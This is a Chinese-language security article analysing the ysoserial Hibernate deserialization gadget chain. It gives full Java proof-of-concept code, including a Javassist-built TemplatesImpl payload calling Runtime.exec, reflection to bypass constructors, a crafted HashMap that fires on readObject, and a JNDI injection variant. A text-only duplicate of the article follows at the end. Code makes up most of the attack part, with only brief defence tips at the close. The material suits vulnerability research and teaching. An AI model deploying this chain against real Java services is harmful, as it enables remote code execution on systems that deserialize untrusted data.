ysoserial源码分析之hibernate链(含poc编写)
字数 965 2025-08-18 11:36:53

Hibernate反序列化漏洞分析与POC编写

1. 环境准备

依赖环境

<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core</artifactId>
    <version>5.0.7.Final</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

JDK版本:建议使用低版本JDK进行复现

2. 漏洞调用链分析

完整的调用链如下:

org.hibernate.property.access.spi.GetterMethodImpl.get()
org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
org.hibernate.type.ComponentType.getPropertyValue(C)
org.hibernate.type.ComponentType.getHashCode()
org.hibernate.engine.spi.TypedValue$1.initialize()
org.hibernate.engine.spi.TypedValue$1.initialize()
org.hibernate.internal.util.ValueHolder.getValue()
org.hibernate.engine.spi.TypedValue.hashCode()

2.1 关键点分析

  1. GetterMethodImpl#get():

    • 直接调用getterMethod的invoke方法
    • 可利用TemplatesImpl链或JNDI注入
  2. 调用链回溯:

    • 通过查找Getter类的实现找到调用get方法的位置
    • 在AbstractComponentTuplizer.getPropertyValue中调用了get方法
  3. hashCode触发点:

    • 调用链中出现hashCode方法,可联想到Commons Collections链
    • 最终在TypedValue.hashCode()中触发漏洞

3. POC编写详解

3.1 创建恶意TemplatesImpl对象

使用Javassist动态创建恶意类:

public static Object createTemplatesImpl() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.makeClass("i");
    CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    ctClass.setSuperclass(superClass);
    CtConstructor constructor = ctClass.makeClassInitializer();
    constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
    byte[] bytes = ctClass.toBytecode();
    
    TemplatesImpl templatesImpl = new TemplatesImpl();
    setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
    setFieldValue(templatesImpl, "_name", "a");
    setFieldValue(templatesImpl, "_tfactory", null);
    return templatesImpl;
}

3.2 创建Getter数组

Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
Class tplClass = tpl.getClass();
Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));

// 创建Getter数组
Object getters = Array.newInstance(getter, 1);
Array.set(getters, 0, g);

3.3 构造ComponentTuplizer

使用反射绕过构造函数:

public static <T> T createWithoutConstructor(Class<T> classToInstantiate) 
    throws NoSuchMethodException, InstantiationException, 
           IllegalAccessException, InvocationTargetException {
    return createWithConstructor(classToInstantiate, Object.class, 
                               new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, 
                                        Class<? super T> constructorClass, 
                                        Class<?>[] consArgTypes, 
                                        Object[] consArgs) 
    throws NoSuchMethodException, InstantiationException, 
           IllegalAccessException, InvocationTargetException {
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    objCons.setAccessible(true);
    Constructor<?> sc = ReflectionFactory.getReflectionFactory()
                          .newConstructorForSerialization(classToInstantiate, objCons);
    sc.setAccessible(true);
    return (T)sc.newInstance(consArgs);
}

设置ComponentTuplizer属性:

AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);

3.4 构造ComponentType

ComponentType t = createWithConstructor(ComponentType.class, 
                                      AbstractType.class, 
                                      new Class[0], 
                                      new Object[0]);
setFieldValue(t, "componentTuplizer", tup);
setFieldValue(t, "propertySpan", 1);
setFieldValue(t, "propertyTypes", new Type[] { t });

3.5 构造TypedValue

TypedValue v1 = new TypedValue(t, null);
setFieldValue(v1, "value", tpl);
setFieldValue(v1, "type", t);

3.6 构造恶意HashMap

直接使用HashMap.put会导致本地执行,需要使用反射构造:

public static HashMap makeMap(Object v1, Object v2) throws Exception {
    HashMap s = new HashMap();
    setFieldValue(s, "size", 2);
    
    Class nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    } catch (ClassNotFoundException e) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    
    Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, 
                                                      Object.class, nodeC);
    nodeCons.setAccessible(true);
    
    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
    
    setFieldValue(s, "table", tbl);
    return s;
}

4. 完整POC代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

public class POC {
    public static void main(String[] args) throws Exception {
        // 创建恶意对象
        Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
        Class tplClass = tpl.getClass();
        Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
        Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));
        
        // 创建Getter数组
        Object getters = Array.newInstance(getter, 1);
        Array.set(getters, 0, g);
        
        // 构造ComponentTuplizer
        AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
        setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);
        
        // 构造ComponentType
        ComponentType t = createWithConstructor(ComponentType.class, AbstractType.class, 
                                             new Class[0], new Object[0]);
        setFieldValue(t, "componentTuplizer", tup);
        setFieldValue(t, "propertySpan", 1);
        setFieldValue(t, "propertyTypes", new Type[] { t });
        
        // 构造TypedValue
        TypedValue v1 = new TypedValue(t, null);
        setFieldValue(v1, "value", tpl);
        setFieldValue(v1, "type", t);
        
        // 构造恶意HashMap
        HashMap hashMap = makeMap(v1, "String");
        
        // 序列化测试
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        
        ObjectInputStream objectInputStream = new ObjectInputStream(
            new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
    
    // 辅助方法省略...
}

5. 关键技术与注意事项

  1. 反射绕过构造函数

    • 使用ReflectionFactory.newConstructorForSerialization创建绕过构造函数的实例
    • 特别适用于需要复杂构造参数的对象
  2. 设置父类字段

    • 普通反射无法设置父类字段,需要指定具体类:
    public static void setFieldValueExtend(Object obj, Class clazz, String field, Object arg) 
        throws Exception {
        Field f = clazz.getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    
  3. 避免本地执行

    • 直接使用HashMap.put会导致本地执行命令
    • 必须通过反射构造HashMap内部结构
  4. 版本适配

    • 不同Hibernate版本可能需要调整实现
    • JDK版本影响较大,建议使用低版本JDK复现

6. 扩展利用

除了TemplatesImpl链,还可以结合JNDI注入:

// 修改GetterMethodImpl创建部分
Object g = new GetterMethodImpl(JdbcRowSetImpl.class, "dataSourceName", 
                              JdbcRowSetImpl.class.getMethod("setDataSourceName", String.class));

7. 防御建议

  1. 升级Hibernate到安全版本
  2. 限制反序列化操作
  3. 使用安全管理器限制危险操作
  4. 监控和过滤可疑的序列化数据

通过以上分析,我们深入理解了Hibernate反序列化漏洞的原理和利用方式,掌握了从零开始构造POC的关键技术。

Hibernate反序列化漏洞分析与POC编写 1. 环境准备 依赖环境 : JDK版本 :建议使用低版本JDK进行复现 2. 漏洞调用链分析 完整的调用链如下: 2.1 关键点分析 GetterMethodImpl#get() : 直接调用getterMethod的invoke方法 可利用TemplatesImpl链或JNDI注入 调用链回溯 : 通过查找Getter类的实现找到调用get方法的位置 在AbstractComponentTuplizer.getPropertyValue中调用了get方法 hashCode触发点 : 调用链中出现hashCode方法,可联想到Commons Collections链 最终在TypedValue.hashCode()中触发漏洞 3. POC编写详解 3.1 创建恶意TemplatesImpl对象 使用Javassist动态创建恶意类: 3.2 创建Getter数组 3.3 构造ComponentTuplizer 使用反射绕过构造函数: 设置ComponentTuplizer属性: 3.4 构造ComponentType 3.5 构造TypedValue 3.6 构造恶意HashMap 直接使用HashMap.put会导致本地执行,需要使用反射构造: 4. 完整POC代码 5. 关键技术与注意事项 反射绕过构造函数 : 使用ReflectionFactory.newConstructorForSerialization创建绕过构造函数的实例 特别适用于需要复杂构造参数的对象 设置父类字段 : 普通反射无法设置父类字段,需要指定具体类: 避免本地执行 : 直接使用HashMap.put会导致本地执行命令 必须通过反射构造HashMap内部结构 版本适配 : 不同Hibernate版本可能需要调整实现 JDK版本影响较大,建议使用低版本JDK复现 6. 扩展利用 除了TemplatesImpl链,还可以结合JNDI注入: 7. 防御建议 升级Hibernate到安全版本 限制反序列化操作 使用安全管理器限制危险操作 监控和过滤可疑的序列化数据 通过以上分析,我们深入理解了Hibernate反序列化漏洞的原理和利用方式,掌握了从零开始构造POC的关键技术。